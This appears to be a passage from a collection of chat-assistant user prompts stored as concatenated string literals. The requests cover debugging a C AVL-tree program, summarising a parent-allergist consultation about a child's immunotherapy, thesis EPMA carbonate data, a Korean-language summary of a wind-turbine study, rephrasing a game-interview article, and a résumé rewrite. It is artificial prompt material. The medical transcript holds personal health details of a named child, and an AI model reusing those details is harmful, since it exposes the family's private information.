Tree\\n");\n printf("\\t6: printPostOrder (L R Ro) Tree\\n");\n printf("\\t7: printAVL Tree\\n");\n\n printf("\\t0: EXIT\\n");\n scanf("%d", &choice);\n\n switch (choice)\n {\n case 0:\n {\n flag = 0;\n printf("\\n\\t\\tExiting, Thank You !!\\n");\n break;\n }\n\n case 1:\n {\n printf("\\n\\tEnter the Number to insert: ");\n scanf("%d", &insertNum);\n\n tempNode = findNode(root, insertNum);\n\n if (tempNode != NULL)\n printf("\\n\\t %d Already exists in the tree\\n", insertNum);\n else\n {\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n\n root = insert(root, insertNum);\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 2:\n {\n printf("\\n\\tEnter the Number to Delete: ");\n scanf("%d", &queryNum);\n\n tempNode = findNode(root, queryNum);\n\n if (tempNode == NULL)\n printf("\\n\\t %d Does not exist in the tree\\n", queryNum);\n else\n {\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n root = delete (root, queryNum);\n\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 3:\n {\n printf("\\n\\tEnter the Number to Search: ");\n scanf("%d", &queryNum);\n\n tempNode = findNode(root, queryNum);\n\n if (tempNode == NULL)\n printf("\\n\\t %d : Not Found\\n", queryNum);\n else\n {\n printf("\\n\\t %d : Found at height %d \\n", queryNum,\n tempNode->height);\n\n printf("\\n\\tPrinting AVL Tree\\n");\n printAVL(root, 1);\n printf("\\n");\n }\n\n break;\n }\n\n case 4:\n {\n printf("\\nPrinting Tree preOrder\\n");\n printPreOrder(root);\n\n break;\n }\n\n case 5:\n {\n printf("\\nPrinting Tree inOrder\\n");\n printInOrder(root);\n\n break;\n }\n\n case 6:\n {\n printf("\\nPrinting Tree PostOrder\\n");\n printPostOrder(root);\n\n break;\n }\n\n case 7:\n {\n printf("\\nPrinting AVL Tree\\n");\n printAVL(root, 1);\n\n break;\n }\n\n default:\n {\n flag = 0;\n printf("\\n\\t\\tExiting, Thank You !!\\n");\n break;\n }\n }\n }\n\n return 0;\n} In each of the functions involving nodes there is an error. Identify it as syntax or logical. Please note that some statements might also be missing. Just report these error. DONT EXPLAIN ANY STUFF' +"Continued transcript. Please read and provide an updated executive summary.\n\nTom 15:09 \nWe have it's just you know, those are those all those, that's all seem to well, it really bothered him right like getting him to do it was really common. He doesn't like things going up his nose, but also also just kind of like being worried about the long term effects of that like I used to do that myself different sprays and it ended up screwing up all my sinuses and all this like, I solved a bunch of my sinus problems by just doing saline rinses. And I haven't had a cold in like five years. Because every time I start to feel anything, I go do my Arm and Hammer nasal rants and I spray into everything out and then I reboot my sinuses doesn't work. Clean it out. Yeah. And then I go get a gold, I don't know, I have avoided COVID I've already cold I have nothing. I haven't had anything in like five years ever since ever since doing saline rinses. But and before that I had years and years of sinus infections and everything while trying to manage them with flow neighs and all these different things. So I guess you could say that I have maybe a little bit of a bias against no sprays. And maybe I'm being unfair in that regard. But maybe that's why we didn't really pursue it a whole lot.\n\nAllergist 16:28 \nYeah, I mean, and you're also right, like little kids don't typically make it easy if you're trying to spray anything on their nose. So that can sometimes be just more of a battle. But then it's worse. So I understand that. But from kind of a treatment standpoint, with kind of Thomas's age, we do have two forms of treatment available. One is kind of your standard allergy shots. And so that basically starts out with, you know, weekly injections in the back of the arm, starting at like a super small, diluted dose and building all the way up to maintenance. We, we typically do weekly injections, if you come in once a week, every week, it's about 45 weeks of weekly injections before people get up to maintenance. And then at that point, we transition to monthly injections. And you're on the monthly injections once a month for about three to five years. So it is kind of a commitment just because environmental allergies do do take quite a bit of time for the body to become less sensitive to those allergens and produce a long term tolerance that that would last rather than sometimes if you've come off of allergy shots too soon, people with symptoms will will return. And you won't get much, much time as far as symptoms, you know, staying away. Yeah. So kind of the standard,\n\nTom 18:05 \nI can definitely say that. He hates shots. And it might very well be that we just have to do the nose spray thing because I'm pretty sure I can get them to tolerate no spray is more than getting to tolerate weekly shots.\n\nAllergist 18:21 \nYes. The other caveat is we have something called sublingual immunotherapy or select for short. And this, this treatment is a lot of times targeted towards kids who are less than five years old or who can't tolerate shots. And so basically, we're still looking at like a three year timeframe. But instead of shots, what we do is we administer the dose as a drop under the tongue. And so you come into clinic, it's four appointments, each appointment is about an hour long, we administer the dose under the tongue and wait an hour just to make sure it's really well tolerated. Before we send you guys on your way. At home, you would do one one drop every day, or five to seven days before increasing to two for the same time period three, and four. Once you guys got to four drops, you just hold there until you come back to clinic to increase to the next concentration. So we do that about four times. And then once you get to four drops at the highest concentration, you just hold there once a day every day for three years. Repeat skin test at the three year mark, kind of looking for the same thing decreased by about 90% to signify that we've desensitize the body to those allergies and then at that point, you can come off of this lip drops.\n\nTom 19:52 \nOkay. Is there a way to combine that with the dairy\n\nAllergist 19:57 \nlike in the same appointment or Yeah, so you're asking? We typically don't We don't do that because if there is an adverse reaction, we want to know what to so we can address it appropriately as to which one we need to decrease. So typically, we like to do one thing at a time.\n\nTom 20:18 \nOkay, what about what about when he they have multiple allergens to multiple like dogs and cats, you literally have to do a session for each one. So if you don't have to do a session for each for dogs and cats, why would you have to do a separate session for dairy? Why not combine dogs, cats and dairy?\n\nAllergist 20:37 \nUm, well, so it's no different than like allergy shots. environmental allergies can be combined to like when someone comes in for an allergy shot, and they have pollen allergies, you know, there are tons of pollen allergies, and if you if you gave someone a shot for each one, someone might be getting like 50 some shots. Yeah. Yeah, so for environmental is we can group them all in the same vial. There's, I mean, there's only so much space, but we can group a ton of them in the same vial until we run out of space, essentially. But we just can't mix food and environmental\n\nTom 21:13 \naudit. Okay, so for the food when What about what if a visitor to two kinds of foods because you would you still do each food allergy separate? And then but only environmental ones can be combined? Is that as it how it works? Yeah.\n\nAllergist 21:25 \nSo it kind of depends on the foods, like certain foods we can do together. So like, if people come in and they have, you know, three or four nut allergies, we can do the oh, it to all the nuts combined. But like if we were dealing with like milk and not, because one is like, you know, a dry, crushed form one's liquid. That becomes too challenging. We can't really mix those well. Okay. So, in that sense, sometimes, yes, sometimes. No, it just depends on the person's food allergy. We're dealing with.\n\nTom 21:58 \nOkay, yeah. All right. Well, I would definitely say that the the sublingual therapy for his environmental allergies is something that I'm very interested in. Yeah. And also the, I mean, the two things, unfortunately, are your clinics up in Bellevue, I think we're down here in Tacoma. So if we're going to do this, it would involve a lot of traveling a lot of lot of times,\n\nAllergist 22:27 \nyeah, the night that's why the sublingual was also a little bit of a nicer option for environmental if you live further away, because you're not having to come to clinic, like once a week, you know, obviously, there are four visits, but then after that, you're just kind of maintaining their dose at home. Okay. So it'd be like, you know, four visits, if you, if you did it, you know, or visits roughly three to four weeks apart for a couple of months, if everything goes really smoothly. After four months, he's on that maintenance dose, and just holding, which is nice, because then he was holding there, making sure his bodies you know, getting that daily exposure at a well tolerated dose so that we can you know, teach it to be less sensitive. The Oh, it is obviously more challenging that something we're not really obviously willing to let people do at home just because, you know, we're dealing with more severe anaphylactic reactions. And we don't want to kind of have any anaphylaxis at home if we can help from it. So that's why we like to do the up dosing in clinic and more controlled environment.\n\nTom 23:34 \nThat makes sense. So if we did the dairy when how often we have to come up there.\n\nAllergist 23:45 \nSo the nice thing about it is as long as he is getting his daily dose at home, in theory as much time could elapse between appointments. So because you guys are traveling, you could always come in less frequently. I would say standard, most people come in once every two to three weeks. But we do have some people who come in once a month or you know, once every six to eight weeks and just up dose a little bit more slowly. So that's a little bit based on your guys's schedule. And obviously, the fact that you guys would be commuting from Tacoma.\n\nTom 24:22 \nOkay, what do you need to come off of the Zyrtec and allergy medicine while he was doing this?\n\nAllergist 24:29 \nNo. We, we understand that people have environmental allergies. And so if it's something that he takes daily to manage those symptoms, we don't we don't have people come off of them.\n\nTom 24:42 \nOkay, okay. I just didn't know if it might affect his body's like ability to build up immunity or something or if it would affect your testing like, gives you a false negative or something.\n\nAllergist 24:54 \nYeah, so sometimes like if people are on a dailies or kick you know, and then when They they just randomly stop, you know, it might have been suppressing the immune system enough to make the dose more tolerant, and they might have an allergic reaction. So that's one kind of consideration. But we also know we don't want people to be absolutely miserable struggling with environmental allergy symptoms in the middle of pollen season. Because that can sometimes be very miserable for them. So\n\nTom 25:25 \nI guess what I'm getting at is should we take him off of his our tech, while we're establishing the maintenance dose? Would that be a good idea?\n\nAllergist 25:33 \nYeah, I mean, it wouldn't hurt but if his environmental allergy symptoms are too too much, we, we recommend that people take their antihistamines just to prevent those symptoms. Because sometimes, like, you know, if your environmental allergy symptoms are significant, it can sometimes make it hard to distinguish Oh, is your nose runny? Because of your environmental allergies? Or are you reacting to your dose? Yeah, so it's a little bit of a catch 22 there but we just do our very best to assess and make sure that we're not missing an allergic reaction. Okay.\n\nTom 26:13 \nWell, I mean, I already know enough about this to know are already want to move forward. So what do we do from here?\n\nAllergist 26:21 \nYes, so a couple of follow up questions really quick. How long has it been since Thomas did any sort of bloodwork for his milk allergy? Just to get a baseline we wouldn't have to wait for the adults to come back before starting but okay, curious.\n\nTom 26:34 \nYeah. Um, I I can ask his mom that we can get all that sent over to you I guess. I think whatever paperwork or any of that we have there Yeah, and the release for the other allergy stuff. I don't think I think the last time we had blood work was when we were in Arizona. So I think I think that would have been like two years ago.\n\nAllergist 27:03 \nOkay, yeah, you can confirm your your partner and then if it has been you know, more than a year we can always send you guys a lab order over Clara to like a LabCorp request something that's close to you guys and Tacoma and you can just kind of get that done at your earliest convenience and then though, send us the results\n\nTom 27:22 \nYeah, I'll be honest with you I'm not super happy with his with the allergist clinic down here and I don't even know if they blood if when he was blood tested that the right things were blood tested you know for especially for this region, you know, we live in Washington it might be a good idea to do that lap and just like what what blood tests what things would you recommend that we had some test you know,\n\nAllergist 27:55 \ndefinitely interested in seeing what his overall milk value would be as well as kind of one of the most common proteins in milk is casein so we'll usually test that just to see how allergic he is to that particular protein. If you're interested we have the ability to do just a Western Washington environmental panel to look at some of the more common tree weed\n\nTom 28:20 \nyeah that's that's definitely something I'm interested in yes yeah. Yeah, so that that\n\nAllergist 28:25 \nwould be my initial like go to doesn't sound like he's avoiding any other foods or has any other issues to foods is that correct?\n\nTom 28:34 \nYeah, the only food we're aware of that he has issues with his dairy there was a period when he was younger where he their eggs were so we're sort of appearing on it but a little bit that as far as I know it's gonna He's never had an any type of noticeable allergic reaction to eggs\n\nAllergist 28:50 \ncould have been a false positive or just very mild allergen at one Yeah.\n\nTom 28:54 \nYeah. So I don't know I definitely definitely having a I mean, if we were gonna are we gonna do a Western Washington blood panel anyway, we could just do the casing while we're at it, and you just have the fresh most up to date info and we don't even have to worry about\n\nAllergist 29:13 \nleaks. My other comment would be when he was allergy tested at the place of Tacoma. Did they do any sort of environmental as well?\n\nTom 29:21 \nUm, the last time he was there, they only tested for the milk they didn't do the environmental Yeah,\n\nAllergist 29:27 \nokay. Okay. a while since he's done that\n\nTom 29:32 \nI think it's been like six months or something since they did the larger prick test where they picked him up with a bunch of different things and he had you know a bunch of marks on his on him I gotta double check find out when that was Yeah,\n\nAllergist 29:49 \nyeah, well, we can do is we do you have a preference if it's LabCorp quest?\n\nTom 29:56 \nI don't know. I guess it all depends on our insurance or I don't know if it matters.\n\nAllergist 30:04 \nmost insurances, it doesn't matter. But if you want to check with them beforehand, let us know. And then I can just send you a lab order to whatever lab you prefer." +'This is epma data collected for my phd thesis on the topic PETROGRAPHIC, GEOCHEMICAL AND MINERALOGICAL INVESTIGATIONS OF SILLAI PATTI, CARBONATITES FROM PESHAWAR PLAIN ALKALINE IGNEOUS PROVINCE (PPAIP), PAKISTAN. \n\nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0006\\_QNT Page 1 \n \n No. SiO2 Al2O3 FeO CaO MnO SrO ZnO BaO Na2O MgO CO2 Total Comment \n1 0.000 0.001 0.865 51.486 0.583 1.391 0.000 0.005 0.024 0.383 42.326 97.064 SP1\\_4\\_m1\\_p6 \n2 0.009 0.000 0.938 52.081 0.590 1.671 0.000 0.000 0.072 0.398 43.022 98.781 SP1\\_4\\_m1\\_p7 \n3 0.005 0.000 0.821 51.348 0.574 1.706 0.021 0.000 0.018 0.350 42.293 97.136 SP1\\_4\\_m2\\_p6 \n4 0.027 0.000 0.018 55.442 0.005 0.122 0.000 0.027 0.010 0.014 43.643 99.308 SP1\\_4\\_m2\\_p7 \n5 0.000 0.001 0.855 53.966 0.589 1.573 0.020 0.019 0.027 0.386 44.366 101.802 SP1\\_4\\_m3\\_p6 \n6 0.000 0.000 0.890 52.975 0.506 1.494 0.033 0.034 0.051 0.350 43.513 99.846 SP1\\_4\\_m4\\_p7 \n7 0.020 0.000 0.887 53.111 0.594 1.669 0.041 0.000 0.046 0.324 43.738 100.430 SP1\\_4\\_m5A\\_p7 \n8 0.000 0.004 0.883 52.270 0.535 1.459 0.000 0.000 0.000 0.377 42.929 98.457 SP1\\_4\\_m6\\_p5 \n9 0.000 0.000 0.761 52.945 0.478 1.524 0.024 0.000 0.015 0.325 43.338 99.410 SP1\\_4\\_m7\\_p8 \n10 0.000 0.007 0.942 52.662 0.490 1.321 0.031 0.000 0.000 0.821 43.692 99.966 SP1\\_4\\_m8\\_p5 \n11 0.000 0.026 0.859 52.418 0.450 1.407 0.027 0.025 0.001 0.380 43.010 98.603 SP2\\_20\\_m1\\_p1 \n12 0.003 0.003 0.777 51.796 0.573 1.444 0.000 0.008 0.016 0.359 42.508 97.487 SP2\\_20\\_m2\\_p6 \n13 0.001 0.000 0.817 51.462 0.531 1.366 0.000 0.000 0.026 0.280 42.121 96.604 SP2\\_20\\_m2\\_p8 \n14 0.000 0.000 0.886 52.465 0.662 1.600 0.017 0.000 0.000 0.397 43.249 99.276 SP2\\_20\\_m3\\_p5 \n15 0.000 0.000 0.920 51.589 0.519 1.365 0.036 0.046 0.038 0.349 42.391 97.253 SP2\\_20\\_m4\\_p5 \n16 0.000 0.000 0.020 56.794 0.000 0.021 0.011 0.000 0.000 0.008 44.607 101.461 SP2\\_20\\_m4\\_p6 \n17 0.000 0.000 0.824 52.466 0.522 1.554 0.000 0.013 0.017 0.327 43.035 98.758 SP2\\_20\\_m5\\_p7 \n18 0.000 0.000 0.875 51.565 0.528 1.533 0.004 0.011 0.023 0.360 42.396 97.295 SP2\\_20\\_m6\\_p4 \n19 0.008 0.022 0.595 51.393 0.577 1.490 0.010 0.000 0.000 0.300 42.060 96.455 SP2\\_20\\_m7\\_p8 \n20 0.021 0.000 0.737 52.910 0.535 1.510 0.000 0.026 0.041 0.390 43.440 99.610 SP2\\_20\\_m9A\\_p6 \n21 0.037 0.023 0.234 54.474 0.201 0.146 0.000 0.001 0.035 0.020 43.212 98.383 SP2\\_20\\_m10\\_p7 \n22 0.000 0.000 0.882 52.182 0.550 1.523 0.000 0.021 0.028 0.366 42.905 98.457 SP2\\_20\\_m10\\_p8 \n23 0.000 0.000 0.640 51.488 0.564 1.841 0.000 0.000 0.031 0.317 42.298 97.179 SP2\\_20\\_m11\\_p6 \n24 0.009 0.000 0.914 51.954 0.579 1.450 0.017 0.015 0.073 0.339 42.757 98.107 SP2\\_20\\_m12\\_p4 \n \nMinimum 0.000 0.000 0.018 51.348 0.000 0.021 0.000 0.000 0.000 0.008 42.060 96.455 \nMaximum 0.037 0.026 0.942 56.794 0.662 1.841 0.041 0.046 0.073 0.821 44.607 101.802 \nAverage 0.006 0.004 0.743 52.635 0.489 1.341 0.012 0.010 0.025 0.330 43.035 98.630 \nSigma 0.010 0.008 0.268 1.355 0.172 0.495 0.014 0.013 0.021 0.158 0.682 1.446 \nNo. of data 24' +'Web search results:\n\n[1] "New Berkeley Lab study finds a dramatic increase in estimated project output coupled with a decrease in surrounding sound levels for future turbines as compared to those installed in the past.\xa0\nMultiple technological, social, and market factors of wind power are evolving rapidly. Most notably, significant wind turbine scaling in height and size is occurring and is forecasted to continue. While the larger turbines expected to be deployed in the future are more powerful and efficient, they are also expected to operate with higher sound emissions than those installed in the last decade. Due to their taller heights, larger rotors, and higher sound power levels, future wind turbines will require larger setbacks from homes and greater inter-turbine spacing, resulting in fewer turbines deployed for a given land area. These competing technology and siting trends – and their associated impacts – are not well understood.\nThe new Lawrence Berkeley National Laboratory analysis “Effects of land-based wind turbine upsizing on community sound levels and power and energy density” simulates the development of 22 unique projects at two different prototypical sites using eleven different wind turbine models to extract output, nameplate capacity, numbers of turbines and receptor sound level patterns between projects using older, current, and future turbine models sited within a fixed land area.\nThe study, published in Applied Energy in open-access format, is available here(link is external). The authors will host a webinar covering the results of the study on April 13, 2023, at 1 PM Eastern / 10 AM Pacific. Register here: https://lbnl.zoom.us/webinar/register/WN\\_ljqJqmyWQEaSl0nC99kDdQ(link is external).\nA summary of the key findings follows:\nThe analysis finds, unsurprisingly, future turbines are more than 60% taller than those installed most frequently in the last decade. Relatedly, 60% fewer turbines are expected to be able to fit in the same land area in the future as they were in the past.\nFrom the Then period (using the most frequently installed turbines in the last decade in the US, 2011-2020) to the Future period (turbines that are expected to be installed in the next three to five years, 2023-2025), wind turbine heights are expected to increase an average of 60%, from 122 m to 202 m (Figure 1). This increase in turbine total height, coupled with larger rotor diameters and sound power level increases, decreases the number of turbines that can be developed in the fixed land area at our two prototypical sites. Accordingly, the average number of turbines decreases by 60% (from 222 to 89) at those sites. (See Figure 1 caption for more details on periods.)\nDespite fewer turbines, plant layouts using future turbines result in projects with higher installed capacities and annual energy output for a given land area.\nDespite 60% fewer turbines for the given land area at the two sites, the total installed nameplate capacity for Future projects increases by roughly 11% (from 395 MW to 437 MW), and estimated annual energy output increases by almost 60% (from 1,146 GWh/yr to 1,825 GWh/yr) over the Then period. These average trends are shared among all the manufacturers and across both sites, with some variation in the size of those trends (not shown). These output increases are driven, in large part, by significant increases in rated capacity and efficiency of the turbine models used in the Future period.\nCommunity sound levels at homes are expected to be significantly lower in the future, despite overall louder turbines.\nEven though serrated trailing edges (STE), which lower sound levels by approximately 1.5 dBA, are expected to be applied to the blades of all future turbine models, turbine sound levels (at the hub) for Future turbines are higher (105.3 dBA) than for Then turbines (104.3 dBA). Despite this predicted increase, sound levels at homes surrounding the turbines are estimated to be 18% lower in the Future period. This decrease is the result of increases in setbacks from the homes which scale as a multiple of turbine height and a factor of turbine sound power, as well as fewer wind turbines being constructed in the same land area.\nFigure 1. Mean total wind turbine height, numbers of wind turbines, total project capacity, project output, and loudness among the periods examined. Those periods were chosen to represent, respectively; Then: turbines most frequently installed in the last decade in the US (2011–2020); Now: turbines most frequently installed in the last two years in the US (2019–2020); and, Future: turbines most likely to be installed in the next three to five years in the US (i.e., 2023-2025). All Future turbines are expected to have serrated trailing edges to reduce sound levels (STE), so separate projects were designed using turbines representing the Now period with STE (Now with STE) and all Future turbines contain STE to align with manufacturer expectations.\nThese lower sound levels occur not only for homes neighboring projects, but also those very close to turbines on parcels hosting turbines.\nA commonly mentioned potential nuisance for homes very near wind projects are turbine sounds. Yet our research finds that average estimated receptor sound pressure levels (SPL) (a measurement of what neighboring home inhabitants might hear) surrounding the projects in all periods show consistent decreases from those estimated in the Then period (Figure 2). This is especially pronounced for the Future period, where decreases are between 1.5 and 3 dB. Participating homes, which are located on parcels where turbines can be hosted, tend to be closer to wind turbines and are also subject to higher noise limits when designing the projects relative to non-participants’ homes. But, our research finds a reduction in SPL in all periods occurs for those homes, as well as their nonparticipating neighbors. This implies that future turbines might significantly reduce a common potential nuisance.\nFigure 2. Average change of overall A-weighted sound pressure levels (SPL) measured are receptor homes referenced to Then (i.e., starting) SPL by participation. Nonparticipants, those near the projects, are shown as solid lines and participants, those with parcels where turbines can be located, are shown as dashed.\nFigure 2. Average change of overall A-weighted sound pressure levels (SPL) measured are receptor homes referenced to Then (i.e., starting) SPL by participation. Nonparticipants, those near the projects, are shown as solid lines and participants, those with parcels where turbines can be located, are shown as dashed.\nMyriad other benefits appear likely as a result of increased adoption of taller higher capacity turbines in the future.\nBecause of their increased size, turbines installed in the future will be situated further from homes and property lines given often required setbacks based on total height. Additionally, fewer turbines used for future projects might provide enhanced flexibility as to where turbines are placed on the land, therefore, potentially, creating greater opportunity to avoid sensitive viewsheds. Further, higher project capacities and output could lead to higher local economic benefits (e.g., taxes and income).\nA number of areas for future research are suggested such as: examining aesthetic tradeoffs of fewer larger turbines vs. more numerous smaller turbines; the need to examine outcomes at other sites (ridgelines and alternative wind regimes); and, the value of conducting economic analyses using turbines to be installed in the future.\nWe thank the U.S. Department of Energy’s Wind Energy Technologies Office for their support of this work, as well as the numerous individuals and organizations who generously provided data, information and reviewed our study.\nArticle and Graphs Courtesy of the\xa0Berkeley Labs, Electricity Markets & Policy,\nI don\'t like paywalls. You don\'t like paywalls. Who likes paywalls? Here at CleanTechnica, we implemented a limited paywall for a while, but it always felt wrong — and it was always tough to decide what we should put behind there. In theory, your most exclusive and best content goes behind a paywall. But then fewer people read it! We just don\'t like paywalls, and so we\'ve decided to ditch ours.\nUnfortunately, the media business is still a tough, cut-throat business with tiny margins. It\'s a never-ending Olympic challenge to stay above water or even perhaps — gasp — grow. So ..."\nURL: https://cleantechnica.com/2023/03/25/how-will-future-larger-turbines-impact-wind-project-electricity-output-surrounding-community-sound-levels/\nCurrent date: 2023. 3. 27.\n\nInstructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject.\nQuery: /page:https://cleantechnica.com/2023/03/25/how-will-future-larger-turbines-impact-wind-project-electricity-output-surrounding-community-sound-levels/\nReply in 한국어' +'Rephrase this article into a very unique 2000 words article about Apex Legends Season 16 is called Reverly and it kicks off on February 14. In a surprising twist, Revelry is the first season of Respawn\'s battle royale game to not add a new playable character to the roster. Instead, the new season makes huge changes to the ability kits of the entire existing crop of 23 legends, making each of their skill sets and specialties easier to digest for first-time players. In that same vein, Season 16 also introduces a new weapon (the Nemesis), a team deathmatch game mode, and a more extensive onboarding process for new players--all of which are also aimed at making the experience of playing Apex Legends more approachable and easier to grasp.\n\nFollowing a preview of everything to come in the new season, I spoke with design director Evan Nikolich, lead weapon designer Eric Canavese, and lead legend designer Devan McGuire about this wonderfully fresh direction. We discussed why making a rival to the meta-dominating R-301 and Flatline isn\'t as straightforward as buffing or changing one of the other existing assault rifles, how the team arrived at the five new character classes--Assault, Skirmisher, Support, Controller, and Recon--and why the team is sunsetting Apex Legends\' sweatiest game mode, Arenas, and adding a brand-new Mixtape playlist and TDM mode in its place.\n\nNow Playing: Apex Legends: Revelry Launch Trailer\n\nIt seems like Season 16 is introducing a lot of cool gameplay changes--both in how players utilize individual characters, the approachability of the game as a whole for new players, and what modes are available to play. How will the narrative and storytelling also evolve this season, if at all?\n\nEvan Nikolich: So this season being our anniversary, the philosophy that we have is "celebration," a celebratory vibe. And yeah, it was an opportunity for us to really focus and revitalize the gameplay. That being said, lore is super important and growing the world of Apex is also core to the experience, the DNA of Apex Legends. And while this season is going to be story-light in the front, we definitely are evolving the way we\'re telling the story and you\'ll start getting some teases to that towards the back end of the season and you\'ll see our story reveal itself season over season for the rest of the year.\n\nDuring the Season 16 preview, y\'all spoke about how part of the reason for the Nemesis is to partially dethrone the dominance of the R-301 and Flatline in the meta--thank you for that, by the way. I am curious though--and if this is too complicated to explain, feel free to say so--what\'s the reasoning behind adding a brand-new energy assault rifle as opposed to making drastic changes to the Havoc, the energy assault rifle already in the game?\nEric Canavese: Yeah, there are a couple of reasons. One of the biggest reasons is we\'ve wanted to add a burst weapon for a long time. Burst weapons are traditionally a bigger hurdle for players to jump over. And so, one of our goals was could we make a burst weapon that could appeal to a wider audience than, say, the Hemlok or the Prowler. The people who love those weapons, love them, but it\'s a pretty small portion of our players who will actually run them. So one of the goals was to answer, "What does an entry-level burst weapon look like?" And if we were to do something like that to the Havoc or whatever, it just would feel very disingenuous to what that weapon is.\n\nAnd when it comes to the Havoc specifically, we really like how the Turbocharger [hop-up attachment] affects the Havoc and the Devotion, and we always want to have multiple weapons use our hop-ups so that there\'s more validity for them on the ground. So we want [the Havoc] to continue to use that Turbocharger in the way that it does. The hop-up works really well for [the Havoc] because it makes the Havoc sort of this transitionary gun to getting to your full power. We call them Exodia weapons--weapons that really need all of their attachments to pop off. Otherwise, they don\'t really do a whole lot on their own. And I know you can argue that the Havoc does, but it\'s a much more cumbersome weapon to use without all of its attachments. And so we didn\'t want to get rid of that concept. It was important to us to explore a new expression of burst and find a weapon that really could capture its own identity and stand next to [other assault rifles].\n\nAnd in addition to all of that, we have been feeling a little bit of strain on the energy ammo economy. It\'s one of our automatic weapon groups that has the least amount of ammo available for it, so you often find that you\'re starved for energy ammo. Introducing another energy ammo weapon will improve your ability to run all the other energy ammo weapons. If you wanted to run a Volt, if you wanted to run Havoc or Devotion, now you\'ll have the extra ammo on the ground [thanks to the Nemesis]. Just reworking something wouldn\'t have achieved all of the goals that we have for a new energy weapon on whole. So that\'s sort of a little bit of insight on the rationale on why we wanted to bring a brand-new weapon to the game. And anytime we bring a weapon to the game, it\'s never just one small goal that we\'re trying to hit. It\'s easy to say, "Oh, just put an energy weapon in because we need more ammo." But there are so many different, nuanced reasons why we would want a new weapon, and that\'s the razor that we\'re going to cut all new weapons against.\n\nThe Nemesis is an automatic burst-fire assault rifle, meaning it will keep firing bursts as you hold down the trigger.\nThe Nemesis is an automatic burst-fire assault rifle, meaning it will keep firing bursts as you hold down the trigger.\nWith Arenas being sunsetted, will Mixtape gain a Ranked playlist or will Ranked play now be exclusively tied to the battle royale side of the game?\n\nNikolich: The BR is our competitive mode. It is the mode that we want to be the ranked, high-end, high-octane competitive experience [in Apex Legends], and then Mixtape is going to service our goal of the mode where you get more reps, find lower stakes, and where you can practice without the threat of feeling like, "I\'m going to cost my team something." And so we want to keep any ranked play out of that for now.\n\nIn the Season 16 preview, y\'all talked about adjustments to Seer, Wraith, Lifeline, and four other characters. Are those seven the focus of S16\'s update or can we expect some minor adjustments to be made to other legends too?\n\nDevan McGuire: There are bug fixes that will improve some of the issues with a few of the characters--there\'s some Crypto and Newcastle stuff in there that obviously you\'ll see in the patch notes. But no, those seven are kind of the core focus. There aren\'t any extra ones that were sitting on the sidelines with minor adjustments, those [seven] are the ones we dove into. And then everybody just gets a major adjustment by getting the class perks added to their kits. So there\'ll be an entirely new layer of how you play each character across the table going into Season 16.\n\nAnd speaking of those new character classes, how did they come about? How did the team determine to expand from four classes to five and what type of perks to give each legend? Was it just playtesting and going, "You know, four is too little but six is way too much," or something like that?\n\nMcGuire: That would be funny if that was it. But no, we took a very deep analytical approach to what the legends all brought to the table and how they played, and we found common patterns between them, such as, "These are the characters who are going to use their abilities and try to poke you from a distance. They\'re going to try to open you up, and then they\'re going to want to push on that because they created an opening." [The legends have] consistent playstyles that fit into natural buckets all by themselves. The exception is Mirage--he\'s kind of like the jack of all trades that can move around in a few different ones, but we lodged him into the class that he\'s in now out of what our analysis resulted in.\n\nBut yeah, just going through that process and going, "These characters play like this, while these characters play like this. These characters are all about movement and escape and getting in and out of fights, while these characters are very focused on the team." There are characters who focus on team play and we had those characters just living in different spots [with the old classes]. So as we started to organize them into different categories, the five [new classes] naturally emerged. Those are the five playstyles that exist in the game. Those are the ways that you approach Apex with the different legends and what their abilities encourage you to do within the game.\n\nEvery playable legend is being adjusted in some way in Season 16.\nEvery playable legend is being adjusted in some way in Season 16.\nThat may grow and change as we add new legends. And we find that there are actually smaller niches that we can compartmentalize things in, but at the moment, those five are the ones that exist and those are the ones that we wanted to celebrate and inform new players of, rather than [having them log on for the first time,] look at a giant list of legends grouped in the order they appeared in the game in, and going, "I don\'t know who is going to fit the way I like to play." We wanted to really make sure that that was something you could easily identify and if you found a character that you liked, you might want to try another character in that spot because they play in a similar vein.\n\nTo that point--I don\'t think we saw it in the presentation and you haven\'t played the build yet, so you\'ll see it when you get in there--but we\'ve actually overhauled the entire front end of the legend selection screen as well as the character select going into the game. It\'s a pretty big effort, which [Apex Legends experience design director] Aaron [Rutledge] can attest to. So the classes are well defined. You can clearly see every character laid out within their class. So it\'s a big reshuffle and reorganization that makes it very, very easy to see and it looks much prettier.' +"I noticed two of my expeirence descriptions are shorter than the rest. Could you rewrite the description for time kaine and rosa delauro?\nExperience\n\nMiddle Seat logo\nMiddle Seat DigitalMiddle Seat Digital\nFull-time · 3 yrsFull-time · 3 yrs\nSenior Digital Advertising StrategistSenior Digital Advertising Strategist\nSep 2021 - Present · 1 yr 7 mosSep 2021 - Present · 1 yr 7 mos\nIn my role as Senior Digital Advertising Strategist, I lead data-driven advertising campaigns for progressive candidates, causes, and organizations. I develop and execute integrated, audience-first marketing strategies that blend traditional silos of Digital, TV, and Radio, ensuring clients achieve their goals through innovative and results-driven methods. I also oversee the development and rollout of agency-wide advertising attribution and reporting tools.In my role as Senior Digital Advertising Strategist, I lead data-driven advertising campaigns for progressive candidates, causes, and organizations. I develop and execute integrated, audience-first marketing strategies that blend traditional silos of Digital, TV, and Radio, ensuring clients achieve their goals through innovative and results-driven methods. I also oversee the development and rollout of agency-wide advertising attribution and reporting tools.\nSkills: SQL · Direct Response Advertising · Online Fundraising and List Building · Digital Persuasion and Mobilization · Data Analysis and VisualizationSkills: SQL · Direct Response Advertising · Online Fundraising and List Building · Digital Persuasion and Mobilization · Data Analysis and Visualization\nDigital Advertising StrategistDigital Advertising Strategist\nApr 2020 - Sep 2021 · 1 yr 6 mosApr 2020 - Sep 2021 · 1 yr 6 mos\nWashington, District of Columbia, United StatesWashington, District of Columbia, United States\nAs a Digital Advertising Strategist, I collaborated with clients to create and optimize digital advertising campaigns for progressive causes and candidates. I leveraged the power of data and creative storytelling to deliver measurable results while continuously refining strategies to maximize ROI. My responsibilities included audience 